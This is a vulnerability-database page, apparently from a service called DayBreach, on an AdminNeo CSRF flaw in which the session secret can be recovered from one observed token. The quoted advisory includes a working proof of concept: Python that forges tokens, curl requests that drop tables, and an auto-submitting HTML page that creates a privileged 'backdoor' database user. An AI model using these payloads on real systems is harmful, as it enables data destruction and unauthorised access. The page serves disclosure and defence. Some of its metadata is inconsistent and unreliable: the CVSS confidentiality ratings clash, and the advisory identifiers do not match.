Back to the CVE list
CVE-2026-96629

AdminNeo: CSRF Token Secret Recoverable from Single Observed Token, Enabling Cross-Site Request Forgery

CVSS score

6.8

EPSS probability

—

Risk score

0.7

Published

3 h ago

Patch status has not yet been verified

Resmî kaynaklarda yeterli kanıt bulunamadı. Bu sonuç “yama yok” anlamına gelmez.

Impact on My Inventory

Only the personal products you have added to your account are assessed; an organisation's inventory does not appear here.

Checking session…

Vulnerability description

DayBreach AI Explanation

Verified against sources

AdminNeo CSRF Protection Vulnerability (CVE-2026-96629)

Sources read

1

Source agreement

Tam uyum

Evidence confidence

%55

Short explanation

An identified CSRF vulnerability in AdminNeo allows the session secret to be recovered from a single observed token.

Why does it matter?

Attackers can capture a single CSRF token to forge unlimited valid tokens and compromise user action integrity.

What should be done?

  • Follow vendor advisory guidelines
  • Apply available application updates
Chain of evidence and sources2 verified claims

AdminNeo uygulamasında CSRF koruma mekanizması oturum sırrının tek bir belirteçten kurtarılmasına izin verir.

Oturum belirteci yaklaşık 20 bitlik entropiye sahiptir ve zayıf karşılaştırma kullanır.

Show the technical text from the sources

### Summary AdminNeo's CSRF protection uses a BREACH-resistant XOR masking scheme, but the implementation transmits both the XOR mask and the masked value in every token. This allows any observer who sees a single CSRF token (via network sniffing, log files, Referrer header, or XSS) to instantly recover the session secret and forge unlimited valid CSRF tokens. Additionally, the underlying session token has only ~20 bits of entropy (`rand(1, 1e6)`), making blind brute-force feasible even without token observation. Originally reported by @az0mb13 in Adminer: [GHSA-q4f2-39gr-45jh](https://github.com/vrana/adminer/security/advisories/GHSA-33j4-hc95-pggg) ### Details Token generation in `admin/include/functions.inc.php` lines 1181-1184: ```php function get_token() { $rand = rand(1, 1e6); return ($rand ^ $_SESSION["token"]) . ":$rand"; } ``` Token verification in lines 1189-1192: ```php function verify_token() { list($token, $rand) = explode(":", $_POST["token"]); return ($rand ^ $_SESSION["token"]) == $token; } ``` Session token initialized in `admin/include/auth.inc.php` lines 327 and 385: ```php $_SESSION["token"] = rand(1, 1e6); ``` **Three distinct weaknesses:** 1. **Instant recovery:** The token format `(rand XOR secret):rand` transmits both operands. Recovery is trivial: `secret = masked_value XOR rand`. 2. **Low entropy**: Only 1,000,000 possible session tokens (~20 bits). Blind brute-force requires at most 1M requests. 3. **Loose comparison**: `verify_token()` uses `==` (loose comparison) instead of `===`, enabling PHP type juggling. ### PoC **Validated against a live AdminNeo 5.5.0 instance (MySQL 8.0, PHP 8.2).** **Step 1: Observe a single CSRF token** Load any authenticated AdminNeo page and extract a token from the HTML source. Tokens appear in hidden form fields: ```html <input type='hidden' name='token' value='222277:990527'> ``` Token observation vectors: Referrer header leak, shared proxy logs, browser history, limited XSS, network sniffing. **Step 2: Recover the session secret (instant, 1 XOR operation)** ```python observed = "542273:441804" masked, rand_val = observed.split(":") session_secret = int(masked) ^ int(rand_val) # Result: 817530 ``` The token format is `(rand XOR secret):rand`. Both operands are transmitted, so the secret is recovered with a single XOR — zero additional requests needed. **Step 3: Forge unlimited valid CSRF tokens** ```python import random forge_rand = random.randint(1, 1000000) forged = f"{forge_rand ^ session_secret}:{forge_rand}" # Example output: 729376:481370 ``` Each forged token is unique and valid. The attacker can generate as many as needed. **Step 4: Execute arbitrary SQL with the forged token** ```shell # Forged token used to DROP a table the attacker never had a token for: curl -b victim_cookies.txt \ 'http://target/adminneo/?mysql=127.0.0.1&username=root&db=testdb&sql=' \ --data-urlencode "token=729376:481370" \ --data-urlencode "query=DROP TABLE csrf_victim_table;" \ -d "limit=0" ``` **Step 5: Verify a random wrong token is rejected (control)** ```shell curl -b victim_cookies.txt \ 'http://target/adminneo/?mysql=127.0.0.1&username=root&db=testdb&sql=' \ --data-urlencode "token=111:222" \ --data-urlencode "query=SELECT 1" -d "limit=1" # Result: "Invalid CSRF token. Send the form again." ``` **Weaponized CSRF attack page** In a real attack, the attacker hosts this HTML page and lures the victim to visit it while authenticated to AdminNeo: ```html <html><body> <h1>Click here for free database optimization tips</h1> <!-- Attacker recovered secret 817530 from an observed token --> <!-- Forged token: 729376:481370 --> <iframe style="display:none" name="x"></iframe> <form id="f" method="POST" target="x" action="http://target/adminneo/?mysql=127.0.0.1&username=root&db=production&sql="> <input type="hidden" name="token" value="729376:481370"> <input type="hidden" name="query" value="CREATE USER 'backdoor'@'%' IDENTIFIED BY 'p@ss'; GRANT ALL ON *.* TO 'backdoor'@'%' WITH GRANT OPTION;"> <input type="hidden" name="limit" value="0"> </form> <script>document.getElementById('f').submit();</script> </body></html> ``` ### Impact - **Cross-Site Request Forgery** against authenticated AdminNeo users. Validated: forged token used to CREATE TABLE, INSERT data, SELECT data, and DROP TABLE — all accepted by the server. - An attacker who observes a single CSRF token (via Referrer header, proxy logs, XSS, or network sniffing) can instantly recover the session secret and forge unlimited valid tokens. - With a forged token, the attacker can execute arbitrary SQL through the victim's session: drop tables/databases, exfiltrate data, create backdoor users, or modify records. - The low entropy (~20 bits, 1M possible values) also enables blind brute-force without observing any token, requiring at most 1M requests (~17 minutes at 1000 req/sec).

CVSS vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H

CWE: CWE-330, CWE-352

This explanation was compiled automatically from the source records. Scores, active exploitation, patch and exploit status come straight from the sources.

IMPACT: Affected Products and Software

Affected Products

The following products are affected by CVE-2026-96629 vulnerability. Where our threat engine knows the exact affected versions, they are listed below.

IDVENDORPRODUCTACTION
1packagistadminneo-org/adminneo View
Total affected vendors: 1|Products: 1

RED HAT CSAF/VEX: Product Impact Check

Red Hat has not yet published a CSAF/VEX impact record for this CVE. This does not mean “not affected”.

SCORING: CVSS from Multiple Sources

CVSS Scores

The Common Vulnerability Scoring System is a standardised framework for assessing the severity of vulnerabilities in software and systems. We collect and display CVSS scores from several sources for each CVE.

SCOREVERSIONSEVERITYVECTORSOURCE
6.8CVSS 3.x—Vector not publishedGitHub Advisory
0.0CVSS 4.0—Vector not publishedGitHub Advisory

Patch and Remediation Guide

Solution & Remediation Advisory

Patch status unknown

İncelenen resmî kaynaklarda yama durumu doğrulanamadı. Bu sonuç “yama yok” anlamına gelmez.

Confirm the affected product and version against the source evidence above.
Restrict access to internet-facing services and apply network segmentation.
Until a patch is confirmed, follow the vendor advisory; do not read an unknown status as “no patch”.
Monitor server logs and network endpoints for signs of anomalous execution.

Public exploit and active exploitation status

Verified exploit intelligence

No verified public PoC, exploit repository or Metasploit module has been found for this CVE yet.

Weakness Classification and Attack Patterns (CWE & CAPEC)

CWE - Common Weakness Enumeration

While CVE identifies specific instances of vulnerabilities, CWE categorises the common flaws or weaknesses that can lead to vulnerabilities. CVE-2026-96629 is associated with the following CWEs:

Common Attack Pattern Enumeration and Classification (CAPEC)

Common Attack Pattern Enumeration and Classification (CAPEC) stores attack patterns, which are descriptions of the common attributes and approaches employed by adversaries to exploit the CVE-2026-96629 weaknesses.

Attack Vector and Accessibility

ExposureAğ üzerinden
PermissionsGerekmiyor
UserGerekiyor

Official Sources and Advisories

CVSS Vector Radar Chart

6.8 / 10
Attack VectorNetworkComplexityHighPrivilegesNoneUser Interact.RequiredConfidentialityHighIntegrityHighAvailabilityHigh

Vulnerability Scoring Details

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H
Attack VectorNetwork
Attack ComplexityHigh
Privileges RequiredNone required
User Interaction—
Confidentiality (Gizlilik)High
Integrity (Bütünlük)High
Availability (Erişilebilirlik)High

Yama durumu bilinmiyor

İncelenen resmî kaynaklarda yama durumu doğrulanamadı. Bu sonuç “yama yok” anlamına gelmez.

Follow the vendor

Weakness Type (CWE & CAPEC)

Similar Vulnerabilities

Get this vulnerability through the API

Affected products, version ranges, exploitation status and patch information in a single request, with a free key.

curl -H "x-api-key: $DAYBREACH_API_KEY" \
  "https://api.daybreach.dev/api/v1/intel/cves/CVE-2026-96629"
CVE-2026-96629 · AdminNeo: CSRF Token Secret Recoverable…